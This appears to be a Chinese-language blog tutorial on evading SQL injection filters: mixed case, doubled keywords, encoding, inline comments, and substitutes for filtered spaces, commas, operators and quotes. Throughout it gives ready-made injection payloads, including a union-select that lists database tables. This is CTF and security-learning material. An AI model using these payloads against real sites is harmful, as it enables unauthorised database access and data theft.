分类
1.大小写绕过
2.双写绕过
3.编码绕过
4.内联注释
5.其它(空格过滤,逗号过滤,过滤了比较符,过滤了 or and xor not #,过滤了=,单引号过滤)
大小写绕过
利用php对大小写敏感,但mysql中对大小写不敏感的特性
当我们访问id=1 and 1=1时,如果页面返回no hack,说明我们输入的关键字被过滤了,我们先尝试大小写绕过,如果我们换成id=1 And 1=1页面给返回正常
我们也可以用aNd或者是anD,AND达到绕过的目的
如果union ,一般是让的一个大写
id=-1 Union SeleCt 1,2,3
双写绕过
前面buuctf(babsql) 这道题也是双写绕过,我们先看一下列子
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
我们就是让一个单词插到中间去,如果只是部分双写,那我们就只用在过滤的地方双写就可以了
也就是若对or进行了过滤时,则相应的order,information中的or也被过滤了
编码绕过
常见编码方式
1,URL 编码
2,Unicode 编码
3,十六进制编码
空格url编码%20, admin url编码之后是%61%64%6D%69%6E
此时我们用的语句就要url编码之后的,由于服务器自动会对url进行一次解码,所以我们有时候需要把关键词编码二次
内联注释
顾名思义我们就是在内部进行注释,当关键字被拦截的时候我们也可以尝试内联注释
id=1 and 1=1 经过转换之后就会变成 id=1 /*and*/ 1=1,后面注入的过程和union一致
其它
空格过滤
两个空格,/**/,()这个是在括号没有被过滤的情况下用的
逗号过滤
在使用盲注的时候,会使用到 substr 、substring() 、mid() 、limit 等函数。这些函数都需要用到逗号。如果只是过滤了逗号,则对于substr、substring() 和 mid() 这两个函数可以使用from for的方式来绕过。对于limit ,可以用 offset 绕过。substr、substring、mid三个函数的功能用法均一致。
// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;
上面是以substr为例,substring和mid与其相似
// limit 逗号绕过
select * from test where id=1 limit 1,2;
select * from test where id=1 limit 2 offset 1;
过滤了比较符
如果过滤了比较操作符,那么就需要使用到 greatest()和least()来进行绕过。greatest()返回最大值,least()返回最小值。
select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64)>64;
select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and least(ascii(substring(database(),0,1)),64)<64;
注意不要忘记加括号
过滤了 or and xor not #
and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替;#用||'替代
过滤了=
使用 like、rlike、regexp
like就是等于的意思,rlike只要字段的值中存在要查找的 部分 就会被选择出来,regexp和rlike差不多
对单引号的过滤(使用十六进制)
这个时候如果引号被过滤了,那么上面的where子句就无法使用了
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
我们这里是把users进行了十六进制编码了
文章详细介绍了多种SQL注入攻击中绕过过滤的方法,包括大小写绕过、双写绕过、编码绕过(如URL编码、Unicode编码、十六进制编码)、内联注释以及如何处理空格、逗号、比较符和单引号等特殊字符的过滤问题。此外,还提到了使用greatest()、least()函数以及like、rlike、regexp操作符来应对不同过滤策略。
4349

被折叠的 条评论
为什么被折叠?



